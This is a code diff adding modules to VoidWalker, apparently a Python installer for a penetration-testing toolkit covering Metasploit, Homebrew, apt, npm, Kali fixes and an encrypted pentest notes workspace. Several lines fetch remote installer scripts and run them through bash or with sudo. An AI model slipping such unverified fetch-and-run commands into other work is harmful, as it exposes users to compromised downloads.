+ return subprocess.run(
+ ["git", *_GIT_NONINTERACTIVE_FLAGS, *args],
+ capture_output=True,
+ timeout=timeout,
+ stdin=subprocess.DEVNULL,
+ env=env,
+ )
+
+ def git_clone(self, url: str, dest: Path, timeout: int = 120, max_retries: int = 3) -> bool:
+ if (dest / ".git").exists():
+ try:
+ self.run_git(["-C", str(dest), "pull", "--ff-only"], timeout=timeout)
+ self.log(f"Updated existing repo: {dest}")
+ return True
+ except Exception as e:
+ self.log(f"Failed to pull existing repo {dest}: {str(e)}")
+ return False
+ elif dest.exists():
+ self.log(f"Skipped existing directory without .git: {dest}")
+ return True
+
+ for attempt in range(max_retries):
+ try:
+ dest.parent.mkdir(parents=True, exist_ok=True)
+ result = self.run_git(["clone", "--depth=1", url, str(dest)], timeout=timeout)
+ if result.returncode == 0:
+ self.log(f"Successfully cloned {url} to {dest}")
+ return True
+ else:
+ self.log(f"Clone failed for {url} (Attempt {attempt+1}/{max_retries}): {result.stderr.decode(errors='ignore')}")
+ except Exception as e:
+ self.log(f"Clone exception for {url} (Attempt {attempt+1}/{max_retries}): {str(e)}")
+
+ if attempt < max_retries - 1:
+ time.sleep(2 ** attempt)
+ return False
+
+ def run_cmd(self, cmd: List[str], timeout: int = 300) -> bool:
+ try:
+ # stdin=DEVNULL: this installer runs unattended, so a child must
+ # never block waiting for input. Without it, an apt/debconf postinst
+ # prompt (e.g. pulled in by `wifite`) reads the inherited terminal
+ # stdin while its output is captured/hidden, wedging the whole run.
+ result = subprocess.run(
+ cmd, capture_output=True, timeout=timeout, stdin=subprocess.DEVNULL
+ )
+ if result.returncode != 0:
+ self.log(f"Command failed: {' '.join(cmd)}\nStderr: {result.stderr.decode(errors='ignore')}")
+ return result.returncode == 0
+ except Exception as e:
+ self.log(f"Command exception: {' '.join(cmd)}\nError: {str(e)}")
+ return False
+
+ def _download_and_extract_tar_gz(self, url: str, dest_dir: Path, tool_name: str) -> bool:
+ """Download a .tar.gz archive and extract all files into dest_dir."""
+ try:
+ dest_dir.mkdir(parents=True, exist_ok=True)
+ with tempfile.NamedTemporaryFile(suffix='.tar.gz', delete=False) as tmp:
+ req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
+ with urllib.request.urlopen(req, timeout=120) as resp:
+ tmp.write(resp.read())
+ tmp_path = Path(tmp.name)
+
+ with tarfile.open(tmp_path, 'r:gz') as tar:
+ for member in tar.getmembers():
+ if member.isfile():
+ member.name = Path(member.name).name # flatten path
+ tar.extract(member, dest_dir)
+ extracted = dest_dir / member.name
+ if extracted.exists():
+ extracted.chmod(0o755)
+
+ tmp_path.unlink(missing_ok=True)
+ return True
+ except Exception:
+ return False
+
+ def _download_and_decompress_gz(self, url: str, dest_file: Path) -> bool:
+ """Download a .gz file and decompress it to dest_file."""
+ try:
+ dest_file.parent.mkdir(parents=True, exist_ok=True)
+ with tempfile.NamedTemporaryFile(suffix='.gz', delete=False) as tmp:
+ req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
+ with urllib.request.urlopen(req, timeout=120) as resp:
+ tmp.write(resp.read())
+ tmp_path = Path(tmp.name)
+
+ with gzip.open(tmp_path, 'rb') as f_in:
+ with open(dest_file, 'wb') as f_out:
+ f_out.write(f_in.read())
+
+ tmp_path.unlink(missing_ok=True)
+ if dest_file.exists():
+ dest_file.chmod(0o755)
+ return dest_file.exists()
+ except Exception:
+ return False
+voidwalker/hostinfo.py
new file mode 100644
@@ -0,0 +1,148 @@
+"""Host operating-system and CPU-architecture detection.
+
+VoidWalker needs to know two things about the machine it runs on:
+
+* the **operating system** β to pick the right package manager and binary flavour
+ (``linux`` / ``darwin`` / ``windows``); and
+* the **CPU architecture** β so that on ARM boxes (Apple Silicon, Raspberry Pi,
+ AWS Graviton and other arm64/armv7 hardware) we install binaries that actually
+ run, instead of blindly grabbing the ``amd64`` build.
+
+The rest of the codebase talks about architectures using a small, normalised
+vocabulary: ``amd64``, ``arm64``, ``armv7`` and ``386``. Raw values reported by
+``platform.machine()`` (``x86_64``, ``aarch64``, ``armv7l`` β¦) are mapped onto
+that vocabulary by :func:`normalise_arch`.
+"""
+
+from __future__ import annotations
+
+import platform
+import sys
+from dataclasses import dataclass
+
+# Canonical architecture tokens used throughout the catalog.
+ARCH_AMD64 = "amd64"
+ARCH_ARM64 = "arm64"
+ARCH_ARMV7 = "armv7"
+ARCH_386 = "386"
+
+# Map the many spellings emitted by platform.machine()/uname -m onto our tokens.
+_ARCH_ALIASES = {
+ "x86_64": ARCH_AMD64,
+ "x64": ARCH_AMD64,
+ "amd64": ARCH_AMD64,
+ "aarch64": ARCH_ARM64,
+ "aarch64_be": ARCH_ARM64,
+ "arm64": ARCH_ARM64,
+ "armv8": ARCH_ARM64,
+ "armv8l": ARCH_ARM64,
+ "armv8b": ARCH_ARM64,
+ "armv7l": ARCH_ARMV7,
+ "armv7": ARCH_ARMV7,
+ "armv6l": ARCH_ARMV7,
+ "armhf": ARCH_ARMV7,
+ "arm": ARCH_ARMV7,
+ "i386": ARCH_386,
+ "i486": ARCH_386,
+ "i586": ARCH_386,
+ "i686": ARCH_386,
+ "x86": ARCH_386,
+}
+
+# Supported OS tokens.
+OS_LINUX = "linux"
+OS_DARWIN = "darwin"
+OS_WINDOWS = "windows"
+
+
+def normalise_arch(machine: str) -> str:
+ """Map a raw ``platform.machine()`` value onto a canonical arch token.
+
+ Unknown architectures are returned lower-cased and untouched so the caller
+ can still log/skip cleanly instead of crashing.
+ """
+ return _ARCH_ALIASES.get(machine.strip().lower(), machine.strip().lower())
+
+
+def detect_arch() -> str:
+ """Return the canonical architecture token for the current machine."""
+ return normalise_arch(platform.machine())
+
+
+def detect_os() -> str:
+ """Return the canonical OS token for the current machine."""
+ if sys.platform.startswith("linux"):
+ return OS_LINUX
+ if sys.platform == "darwin":
+ return OS_DARWIN
+ if sys.platform.startswith(("win", "cygwin", "msys")):
+ return OS_WINDOWS
+ # Fall back to the raw platform string; callers degrade gracefully.
+ return sys.platform
+
+
+@dataclass(frozen=True)
+class HostInfo:
+ """Immutable description of the host we are running on."""
+
+ os: str
+ arch: str
+
+ @classmethod
+ def current(cls) -> "HostInfo":
+ return cls(os=detect_os(), arch=detect_arch())
+
+ # Convenience predicates kept for readability / backwards compatibility.
+ @property
+ def is_linux(self) -> bool:
+ return self.os == OS_LINUX
+
+ @property
+ def is_macos(self) -> bool:
+ return self.os == OS_DARWIN
+
+ @property
+ def is_windows(self) -> bool:
+ return self.os == OS_WINDOWS
+
+ @property
+ def is_arm(self) -> bool:
+ return self.arch in (ARCH_ARM64, ARCH_ARMV7)
+
+ @property
+ def deb_arch(self) -> str:
+ """Debian package architecture name for this host (dpkg/apt naming)."""
+ return {
+ ARCH_AMD64: "amd64",
+ ARCH_ARM64: "arm64",
+ ARCH_ARMV7: "armhf",
+ ARCH_386: "i386",
+ }.get(self.arch, self.arch)
+
+ def label(self) -> str:
+ return f"{self.os}/{self.arch}"
+
+
+def select_asset(assets: dict, host: HostInfo, *, fallback_amd64: bool = False):
+ """Pick the asset list matching ``host`` from an ``(os, arch)``-keyed dict.
+
+ ``assets`` maps ``(os, arch)`` tuples to a list of ``(filename, url)`` pairs.
+
+ Resolution order:
+ 1. exact ``(host.os, host.arch)`` match;
+ 2. only if ``fallback_amd64`` is explicitly enabled (e.g. macOS/Rosetta),
+ fall back to the host OS's amd64 build;
+ 3. otherwise ``None`` β the caller should skip with a clear message.
+
+ The default is **no fallback**: for host-native binaries an amd64 build that
+ cannot run on an ARM host is worse than a clean skip (the installer routes
+ such tools to a from-source path like ``cargo``/``go install`` instead).
+ """
+ exact = assets.get((host.os, host.arch))
+ if exact:
+ return exact
+ if fallback_amd64 and host.arch != ARCH_AMD64:
+ fallback = assets.get((host.os, ARCH_AMD64))
+ if fallback:
+ return fallback
+ return Nonevoidwalker/installers.py
new file mode 100644
@@ -0,0 +1,880 @@
+"""Package-manager and binary installers.
+
+Auto-extracted from the original monolithic voidwalker.py; method bodies are
+unchanged except where noted. Part of the VoidWalker package refactor.
+"""
+from __future__ import annotations
+
+import gzip
+import json
+import os
+import re
+import shutil
+import signal
+import subprocess
+import sys
+import tarfile
+import tempfile
+import threading
+import time
+import random
+import urllib.parse
+import urllib.request
+import zipfile
+from concurrent.futures import ThreadPoolExecutor, as_completed
+from pathlib import Path
+from typing import Dict, List, Optional, Tuple
+from urllib.error import HTTPError, URLError
+
+from .version import __version__
+from .theme import Colors, Symbols
+from .hostinfo import HostInfo, select_asset
+from .data.workspace import WORKSPACE_DIRS
+from .data.catalog import TOOL_CATEGORIES
+from .data.packages import (
+ APT_TOOLS, BREW_TOOLS, BREW_CASKS, PIPX_TOOLS,
+ GO_TOOLS, CARGO_TOOLS, GEM_TOOLS, UV_TOOLS,
+)
+from .data.binaries import CROSS_PLATFORM_TOOLS, SPECIAL_TOOLS
+from .data.build_targets import BUILD_TARGETS
+from .data.sources import SOURCES_AND_GUIDES
+
+
+class InstallerMixin:
+ def install_system_tools(self):
+ """Route to the correct OS-specific package installer."""
+ if self.is_macos:
+ self.install_brew_tools()
+ else:
+ self.install_apt_tools()
+
+ def install_metasploit(self):
+ """Install the Metasploit Framework (msfconsole) as a standalone action.
+
+ Cross-platform: on macOS this pulls the official Homebrew cask (the signed
+ omnibus .pkg); on Linux it runs Rapid7's omnibus nightly installer β the
+ vendor-recommended path for every distro, which wires up the apt/yum repo
+ so future updates are a plain `msfupdate` / `apt upgrade`.
+
+ Metasploit also ships inside the full arsenal via the `metasploit-framework`
+ apt package, but that only fires on Debian/Kali; this menu entry is the
+ quick, no-frills way to get just msfconsole β and the only path that
+ covers macOS, where it is absent from the brew formulae list.
+ """
+ self.clear_screen()
+ self.show_ascii_banner()
+
+ print()
+ self.print_centered(f"{Colors.NEON_MAGENTA}{Symbols.LIGHTNING} INSTALL METASPLOIT FRAMEWORK {Symbols.LIGHTNING}{Colors.RESET}")
+ self.print_centered(f"{Colors.GRAY}{'β' * 60}{Colors.RESET}")
+ print()
+
+ # Already on PATH? Report the version and bail β re-running the vendor
+ # installer would just churn apt/brew for no gain.
+ existing = shutil.which("msfconsole")
+ if existing:
+ print(f" {Colors.NEON_GREEN}{Symbols.CHECK} msfconsole already installed{Colors.RESET} "
+ f"{Colors.GRAY}({existing}){Colors.RESET}")
+ self._print_msf_version()
+ print()
+ input(f"{Colors.GRAY}Press Enter to continue...{Colors.RESET}")
+ return
+
+ ok = self._install_metasploit_macos() if self.is_macos else self._install_metasploit_linux()
+
+ print()
+ if ok and shutil.which("msfconsole"):
+ print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Metasploit Framework installed{Colors.RESET}")
+ self._print_msf_version()
+ self.stats["ok"] += 1
+ print()
+ print(f" {Colors.ELECTRIC_BLUE}Next steps:{Colors.RESET}")
+ print(f" {Colors.WHITE} msfdb init {Colors.GRAY}# set up the PostgreSQL backend (optional){Colors.RESET}")
+ print(f" {Colors.WHITE} msfconsole {Colors.GRAY}# launch the console{Colors.RESET}")
+ else:
+ print(f" {Colors.BRIGHT_RED}{Symbols.CROSS} Metasploit installation failed{Colors.RESET}")
+ print(f" {Colors.GRAY}See {self.log_file} for details.{Colors.RESET}")
+ self.stats["fail"] += 1
+
+ print()
+ input(f"{Colors.GRAY}Press Enter to continue...{Colors.RESET}")
+
+ def _print_msf_version(self):
+ """Print the first line of `msfconsole --version`, if it answers."""
+ try:
+ result = subprocess.run(
+ ["msfconsole", "--version"],
+ capture_output=True, timeout=60, stdin=subprocess.DEVNULL,
+ )
+ lines = result.stdout.decode(errors="ignore").strip().splitlines()
+ if lines:
+ print(f" {Colors.GRAY}{lines[0].strip()}{Colors.RESET}")
+ except Exception:
+ pass
+
+ def _install_metasploit_macos(self) -> bool:
+ """macOS: install the vendor Homebrew cask (runs the signed .pkg)."""
+ if not shutil.which("brew"):
+ print(f" {Colors.YELLOW}Homebrew not found β installing...{Colors.RESET}")
+ self.run_cmd(
+ ["bash", "-c",
+ '/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"'],
+ timeout=1800,
+ )
+ else:
+ print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Homebrew detected{Colors.RESET}")
+
+ done_event = threading.Event()
+ spinner = threading.Thread(
+ target=self.spinner_animation,
+ args=("Installing metasploit cask (downloads ~1GB)...", done_event),
+ )
+ spinner.start()
+ ok = self.run_cmd(["brew", "install", "--cask", "metasploit"], timeout=1800)
+ done_event.set()
+ spinner.join()
+ return ok
+
+ def _install_metasploit_linux(self) -> bool:
+ """Linux: run Rapid7's omnibus nightly installer (apt/yum, any distro)."""
+ installer_url = ("https://raw.githubusercontent.com/rapid7/metasploit-omnibus/"
+ "master/config/templates/metasploit-framework-wrappers/msfupdate.erb")
+ installer = Path("/tmp/msfinstall")
+
+ print(f" {Colors.YELLOW}Fetching Rapid7 omnibus installer...{Colors.RESET}")
+ # Force a fresh copy: download_file skips existing files, but the vendor
+ # updates this wrapper, so a stale /tmp/msfinstall could be days old.
+ try:
+ installer.unlink(missing_ok=True)
+ except Exception:
+ pass
+ if not self.download_file(installer_url, installer):
+ print(f" {Colors.BRIGHT_RED}{Symbols.CROSS} Could not download the installer{Colors.RESET}")
+ return False
+ installer.chmod(0o755)
+ print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Installer downloaded{Colors.RESET}")
+
+ # `sudo env DEBIAN_FRONTEND=noninteractive` mirrors the apt path: the
+ # omnibus postinst pulls packages via apt, and without this guard a
+ # debconf prompt would block this capture_output/stdin=DEVNULL run.
+ done_event = threading.Event()
+ spinner = threading.Thread(
+ target=self.spinner_animation,
+ args=("Installing Metasploit (this can take several minutes)...", done_event),
+ )
+ spinner.start()
+ ok = self.run_cmd(
+ ["sudo", "env",
+ "DEBIAN_FRONTEND=noninteractive",
+ "DEBCONF_NONINTERACTIVE_SEEN=true",
+ str(installer)],
+ timeout=1800,
+ )
+ done_event.set()
+ spinner.join()
+ return ok
+
+ # AI coding CLIs are npm globals (arch-independent JS launchers; codex pulls
+ # its per-arch Rust binary via npm optional-deps, so both resolve on arm64).
+ _AI_CLIS = [
+ ("Claude Code", "claude", "@anthropic-ai/claude-code"),
+ ("Codex CLI", "codex", "@openai/codex"),
+ ]
+
+ def install_ai_clis(self):
+ """Install AI coding CLIs (Claude Code + OpenAI Codex) as a menu section.
+
+ Both ship as npm global packages, so they install identically on x86_64
+ and arm64. Claude Code additionally has an official native installer
+ (no sudo, drops a binary in ~/.local/bin) which is tried first.
+ """
+ self.clear_screen()
+ self.show_ascii_banner()
+
+ print()
+ self.print_centered(f"{Colors.NEON_MAGENTA}{Symbols.STAR} INSTALL AI CODE AGENTS {Symbols.STAR}{Colors.RESET}")
+ self.print_centered(f"{Colors.GRAY}{'β' * 60}{Colors.RESET}")
+ print()
+
+ if not self._ensure_node():
+ print(f" {Colors.BRIGHT_RED}{Symbols.CROSS} Node.js/npm unavailable β cannot install the AI CLIs{Colors.RESET}")
+ print()
+ input(f"{Colors.GRAY}Press Enter to continue...{Colors.RESET}")
+ return
+
+ claude_ok = self._install_claude_code()
+ codex_ok = self._npm_global_install("@openai/codex")
+
+ print()
+ for (label, binname, _pkg), ok in zip(self._AI_CLIS, (claude_ok, codex_ok)):
+ found = self._which_cli(binname)
+ if ok and found:
+ print(f" {Colors.NEON_GREEN}{Symbols.CHECK} {label} installed{Colors.RESET} {Colors.GRAY}({found}){Colors.RESET}")
+ self._print_cli_version(found)
+ self.stats["ok"] += 1
+ else:
+ print(f" {Colors.BRIGHT_RED}{Symbols.CROSS} {label} installation failed{Colors.RESET}")
+ self.stats["fail"] += 1
+
+ print()
+ print(f" {Colors.GRAY}If a CLI isn't found, restart your shell (adds ~/.local/bin + npm global bin to PATH).{Colors.RESET}")
+ print()
+ input(f"{Colors.GRAY}Press Enter to continue...{Colors.RESET}")
+
+ def _which_cli(self, binname: str):
+ """Locate a CLI on PATH, or in ~/.local/bin (where the native installers land)."""
+ found = shutil.which(binname)
+ if found:
+ return found
+ local = Path.home() / ".local" / "bin" / binname
+ return str(local) if local.exists() else None
+
+ def _print_cli_version(self, binpath: str):
+ try:
+ result = subprocess.run(
+ [binpath, "--version"],
+ capture_output=True, timeout=60, stdin=subprocess.DEVNULL,
+ )
+ lines = result.stdout.decode(errors="ignore").strip().splitlines()
+ if lines:
+ print(f" {Colors.GRAY}{lines[0].strip()}{Colors.RESET}")
+ except Exception:
+ pass
+
+ def _ensure_node(self) -> bool:
+ """Make sure node/npm are present, installing them if missing."""
+ if shutil.which("npm"):
+ print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Node.js/npm detected{Colors.RESET}")
+ return True
+ print(f" {Colors.YELLOW}Node.js/npm not found β installing...{Colors.RESET}")
+ if self.is_macos:
+ if not shutil.which("brew"):
+ self.run_cmd(
+ ["bash", "-c",
+ '/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"'],
+ timeout=1800,
+ )
+ self.run_cmd(["brew", "install", "node"], timeout=1800)
+ else:
+ self.run_cmd(
+ ["sudo", "env", "DEBIAN_FRONTEND=noninteractive",
+ "apt-get", "install", "-y", "nodejs", "npm"],
+ timeout=1800,
+ )
+ return shutil.which("npm") is not None
+
+ def _npm_global_install(self, pkg: str) -> bool:
+ """`npm install -g pkg`, adding sudo on Linux when not already root."""
+ cmd = ["npm", "install", "-g", pkg]
+ if self.is_linux and hasattr(os, "geteuid") and os.geteuid() != 0:
+ cmd = ["sudo"] + cmd
+ done_event = threading.Event()
+ spinner = threading.Thread(
+ target=self.spinner_animation,
+ args=(f"npm install -g {pkg}...", done_event),
+ )
+ spinner.start()
+ ok = self.run_cmd(cmd, timeout=600)
+ done_event.set()
+ spinner.join()
+ return ok
+
+ def _install_claude_code(self) -> bool:
+ """Claude Code: official native installer first (no sudo, arch-aware), npm fallback."""
+ done_event = threading.Event()
+ spinner = threading.Thread(
+ target=self.spinner_animation,
+ args=("Installing Claude Code (native installer)...", done_event),
+ )
+ spinner.start()
+ native_ok = self.run_cmd(
+ ["bash", "-c", "curl -fsSL https://claude.ai/install.sh | bash"],
+ timeout=600,
+ )
+ done_event.set()
+ spinner.join()
+ if native_ok and self._which_cli("claude"):
+ return True
+ # Fallback to the npm global package.
+ return self._npm_global_install("@anthropic-ai/claude-code")
+
+ def install_brew_tools(self):
+ """Install system packages on macOS via Homebrew."""
+ self.clear_screen()
+ self.show_ascii_banner()
+
+ print()
+ self.print_centered(f"{Colors.NEON_MAGENTA}{Symbols.ROCKET} INSTALLING SYSTEM PACKAGES (macOS/Homebrew) {Symbols.ROCKET}{Colors.RESET}")
+ self.print_centered(f"{Colors.GRAY}{'β' * 60}{Colors.RESET}")
+ print()
+
+ # Ensure Homebrew is installed
+ brew_check = subprocess.run(["which", "brew"], capture_output=True)
+ if brew_check.returncode != 0:
+ print(f" {Colors.YELLOW}Homebrew not found β installing...{Colors.RESET}")
+ self.run_cmd(["bash", "-c",
+ '/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"'])
+ else:
+ print(f" {Colors.NEON_GREEN}{Symbols.CHECK} Homebrew detected{Colors.RESET}")
+
+ # Update Homebrew
+ done_event = threading.Event()
+ spinner_thread = threading.Thread(
+ target=self.spinner_animation,
+ args=("Updating Homebrew...", done_event)
+ )
+ spinner_thread.start()
+ self.run_cmd(["brew", "update"])
+ done_event.set()
+ spinner_thread.join()
+ print(f" {Colors.NEON_GREEN}{Symbols.CHECK}{Colors.RESET} {Colors.WHITE}Homebrew updated{Colors.RESET}")
+ print()
+
+ # Install brew formulae
+ brew_success, brew_fail = 0, 0
+ total_brew = len(BREW_TOOLS)
+
+ for i, tool in enumerate(BREW_TOOLS, 1):
+ self.show_live_status("Brew Formulae", i, total_brew, tool, "downloading")
+ if self.run_cmd(["brew", "install", tool]):
+ brew_success += 1
+ self.stats["ok"] += 1
+ else:
+ brew_fail += 1
+ self.stats["fail"] += 1
+
+ self.complete_status_line("Brew Formulae", brew_success, brew_fail)
+ print()
+
+ # Install brew casks
+ cask_success, cask_fail = 0, 0
+ total_cask = len(BREW_CASKS)
+
+ for i, cask in enumerate(BREW_CASKS, 1):
+ self.show_live_status("Brew Casks", i, total_cask, cask, "downloading")
+ if self.run_cmd(["brew", "install", "--cask", cask]):
+ cask_success += 1
+ self.stats["ok"] += 1
+ else:
+ cask_fail += 1
+ self.stats["fail"] += 1
+
+ self.complete_status_line("Brew Casks", cask_success, cask_fail)
+ print()
+
+ # Ensure pipx is available
+ self.run_cmd(["pipx", "ensurepath"])
+
+ # PIPX tools
+ pipx_success, pipx_fail = 0, 0
+ total_pipx = len(PIPX_TOOLS)
+
+ for i, tool in enumerate(PIPX_TOOLS, 1):
+ self.show_live_status("PIPX Tools", i, total_pipx, tool, "downloading")
+ if self.run_cmd(["pipx", "install", tool]):
+ pipx_success += 1
+ self.stats["ok"] += 1
+ else:
+ pipx_fail += 1
+
+ self.complete_status_line("PIPX Tools", pipx_success, pipx_fail)
+ print()
+
+ # UV tools
+ self.install_uv_tools()
+
+ # Go tools (brew installs go already)
+ go_success, go_fail = 0, 0
+ total_go = len(GO_TOOLS)
+ os.environ["GOPATH"] = str(Path.home() / "go")
+ os.environ["PATH"] = os.environ.get("PATH", "") + ":" + str(Path.home() / "go" / "bin")
+
+ for i, (name, cmd) in enumerate(GO_TOOLS, 1):
+ self.show_live_status("Go Tools", i, total_go, name, "downloading")
+ if cmd.startswith("go install"):
+ if self.run_cmd(cmd.split()):
+ go_success += 1
+ self.stats["ok"] += 1
+ else:482 more lines not shown.
voidwalker/integrations/__init__.py
new file mode 100644
@@ -0,0 +1,96 @@
+"""First-class integrations folded into VoidWalker.
+
+VoidWalker historically shipped only the Python arsenal builder. Two sibling
+projects are now part of the same toolkit and are driven through the very same
+CLI / TUI:
+
+* **pimpmykali** β the battle-tested Kali "fix a fresh VM" engine, surfaced as
+ :class:`~voidwalker.integrations.kali.KaliFixMixin`
+ (``voidwalker kali`` / main-menu *Fix / Harden Kali*).
+* **pentest-env** β the encrypted, target-centric ``pe`` workspace plus the
+ Rose Pine ZSH/tmux, GNOME/XFCE desktop profiles, optional BSPWM rice, and
+ offline HTML field manual, surfaced as
+ :class:`~voidwalker.integrations.penv.PentestEnvMixin`
+ (``voidwalker env`` / ``voidwalker pe`` / main-menu *Deploy Pentest Env*).
+
+Rather than rewrite thousands of lines of proven shell (which would be the
+opposite of "make sure everything works"), the original engines are **vendored
+inside this package** under :mod:`voidwalker.integrations` ``assets/`` and wrapped
+in thin, themed Python so that *everything lives under VoidWalker now* β one
+package, one entry point, one UI. The wrappers locate the bundled assets,
+stage the ones that need a writable working directory, and shell out to them.
+"""
+
+from __future__ import annotations
+
+import shutil
+from pathlib import Path
+
+# Directory holding the vendored upstream payloads (ships as package data).
+ASSETS_DIR = Path(__file__).resolve().parent / "assets"
+
+PIMPMYKALI_DIR = ASSETS_DIR / "pimpmykali"
+PENTEST_ENV_DIR = ASSETS_DIR / "pentest-env"
+
+# Canonical entry points inside the vendored payloads.
+PIMPMYKALI_SCRIPT = PIMPMYKALI_DIR / "pimpmykali.sh"
+PENTEST_ENV_INSTALLER = PENTEST_ENV_DIR / "install.sh"
+PENTEST_ENV_PE = PENTEST_ENV_DIR / "config" / "bin" / "pe"
+PENTEST_ENV_PT = PENTEST_ENV_DIR / "config" / "scripts" / "parallels-tools.sh"
+PENTEST_ENV_GUIDE = PENTEST_ENV_DIR / "config" / "guide"
+
+PENTEST_ENV_GUIDE_PAGES = (
+ "index.html", "tmux.html", "pe.html", "htb-workflow.html",
+ "zsh-terminal.html", "recon.html", "web.html", "ad-windows.html",
+ "privesc.html", "transfer.html", "toolbox.html",
+)
+
+
+def asset(*parts: str) -> Path:
+ """Absolute path to a vendored integration asset."""
+ return ASSETS_DIR.joinpath(*parts)
+
+
+def stage_pimpmykali(workdir: Path) -> Path:
+ """Copy the pimpmykali engine into a writable *workdir* and return the script.
+
+ pimpmykali writes its run log (``pimpmykali.log``) and assorted temp files
+ into the *current directory*, and reads ``./addons/fixed-http-shellshock.nse``
+ as the offline fallback for its nmap fix. When VoidWalker is pip-installed
+ its package directory may be read-only, so we mirror upstream's "clone & cd"
+ model into a writable location the user owns before running.
+ """
+ workdir.mkdir(parents=True, exist_ok=True)
+ (workdir / "addons").mkdir(exist_ok=True)
+ shutil.copy2(PIMPMYKALI_SCRIPT, workdir / "pimpmykali.sh")
+ (workdir / "pimpmykali.sh").chmod(0o755)
+ nse = PIMPMYKALI_DIR / "fixed-http-shellshock.nse"
+ if nse.exists():
+ shutil.copy2(nse, workdir / "fixed-http-shellshock.nse")
+ shutil.copy2(nse, workdir / "addons" / "fixed-http-shellshock.nse")
+ return workdir / "pimpmykali.sh"
+
+
+def assets_present() -> dict:
+ """Report which vendored entry points are present (used by ``selftest``)."""
+ return {
+ "pimpmykali.sh": PIMPMYKALI_SCRIPT.is_file(),
+ "pentest-env/install.sh": PENTEST_ENV_INSTALLER.is_file(),
+ "pentest-env/config/bin/pe": PENTEST_ENV_PE.is_file(),
+ "pentest-env/config/bin/htb-session": (
+ PENTEST_ENV_DIR / "config" / "bin" / "htb-session"
+ ).is_file(),
+ "pentest-env/scripts/parallels-tools.sh": PENTEST_ENV_PT.is_file(),
+ "pentest-env/config/theme/install-gnome.sh": (
+ PENTEST_ENV_DIR / "config" / "theme" / "install-gnome.sh"
+ ).is_file(),
+ "pentest-env/config/guide bundle": (
+ all((PENTEST_ENV_GUIDE / page).is_file() for page in PENTEST_ENV_GUIDE_PAGES)
+ and (PENTEST_ENV_GUIDE / "assets" / "style.css").is_file()
+ and (PENTEST_ENV_GUIDE / "assets" / "app.js").is_file()
+ and (PENTEST_ENV_DIR / "config" / "lib" / "guide.sh").is_file()
+ ),
+ "pimpmykali/addons/fixed-http-shellshock.nse": (
+ PIMPMYKALI_DIR / "addons" / "fixed-http-shellshock.nse"
+ ).is_file(),
+ }voidwalker/integrations/assets/pentest-env/.gitignore
new file mode 100644
@@ -0,0 +1,19 @@
+# Never commit secrets or runtime data
+*.db
+*.db.gz
+*.key
+*.key.gpg
+db.key*
+active_target*
+
+# OS / editor cruft
+.DS_Store
+*.swp
+*~
+*.bak.*
+
+# brainstorming visual-companion scratch
+.superpowers/
+
+# generated rice wallpaper (created by setup-wm.sh / make-wallpaper.sh on deploy)
+config/wm/bspwm/wallpaper.pngvoidwalker/integrations/assets/pentest-env/UPSTREAM_README.md
new file mode 100644
@@ -0,0 +1,185 @@
+# pentest-env
+
+A portable, riced Kali penetration-testing environment with an encrypted,
+target-centric data store for **flags, credentials, hosts, and notes** β plus
+ZSH, tmux, a Rose Pine GNOME/XFCE profile, and offline HTML plus in-terminal
+cheatsheets.
+
+Everything is driven by one command: **`pe`**.
+
+```
+ββ[kali@kali]β[~/htb/Cap] β Cap | 10.10.10.245
+βββ― pe flag add user 'HTB{...}'
+[+] flag #1 [user] stored for Cap
+```
+
+---
+
+## What you get
+
+| Component | Description |
+|-----------|-------------|
+| `pe` CLI | target/flag/cred/host/note manager over an encrypted SQLCipher DB |
+| Encryption | whole-DB SQLCipher; key generated + GPG-wrapped at install |
+| Target-centric | pick an active box; new data auto-attaches to it |
+| Backup | integrity-checked, gzip, retained; staged validation and atomic restore |
+| ZSH | oh-my-zsh + autosuggestions, syntax-highlighting, fzf-tab, you-should-use; Rose-Pine prompt showing the active box |
+| tmux | Rose Pine status bar with the active target; plugin-free and secret-safe |
+| Cheatsheets | `pe cheat` in the terminal; `pe guide` opens the searchable HTML handbook |
+| Terminal | Alacritty installed + Rose-Pine `alacritty.toml`, set as XFCE default |
+| Theme | Rose Pine GNOME/Wayland on Ubuntu, XFCE fallback, optional BSPWM (Kali/X11) |
+| Desktop | HTB launcher, wallpaper, terminal preference, and reversible GNOME settings |
+| Bar hooks | Polybar shows the **active `pe` target** + **VPN `tun0` IP** β the bar knows your box |
+
+## Requirements
+
+Kali/Debian (installed automatically by `install.sh`):
+`zsh tmux sqlcipher fzf bat ripgrep fd-find gnupg jq git curl xclip wl-clipboard
+alacritty openvpn`.
+The optional BSPWM rice (Linux/X11) adds:
+`bspwm sxhkd polybar rofi picom dunst feh libnotify-bin maim xdotool brightnessctl
+playerctl pulseaudio-utils papirus-icon-theme x11-xserver-utils` (skip with `--no-wm`).
+Portable core also runs on macOS (Homebrew); Alacritty and the HTML handbook
+deploy there, while GNOME/XFCE/BSPWM are Linux desktop profiles. A Nerd Font
+(MesloLGS NF, installed automatically) provides the
+prompt/bar glyphs.
+
+## Install
+
+```sh
+git clone <this repo> pentest-env && cd pentest-env
+./install.sh # full install (asks for a DB key passphrase)
+exec zsh # reload your shell
+pe cheat env # learn the workflow
+```
+
+Useful flags:
+
+```sh
+./install.sh --dry-run # print every action, change nothing
+./install.sh --no-theme # skip GNOME/XFCE theming
+./install.sh --no-wm # skip the optional BSPWM rice
+./install.sh --no-wordlists # skip sparse SecLists download
+./install.sh --no-deps # skip the package manager
+./install.sh --uninstall # remove integration (keeps your database)
+```
+
+The installer is **idempotent** β safe to re-run. It writes a single marked
+block into `~/.zshrc` and `~/.tmux.conf`; nothing else in those files is touched.
+
+## Quick start
+
+```sh
+pe init # one-time: create the encrypted DB
+pe target add Cap --ip 10.10.10.245 # add + activate a target
+pe flag add user 'HTB{...}' # auto-attaches to Cap
+pe cred add -u admin -s hunter2 -S ssh
+pe host add --ip 10.10.10.245 --hostname cap.htb
+pe note add -t foothold -b 'gobuster -> /uploads rce'
+pe target ls # overview (active box marked with *)
+pe backup # snapshot the encrypted DB
+```
+
+Full command reference: `pe cheat env` (or `cheatenv`). Open `pe guide` for the
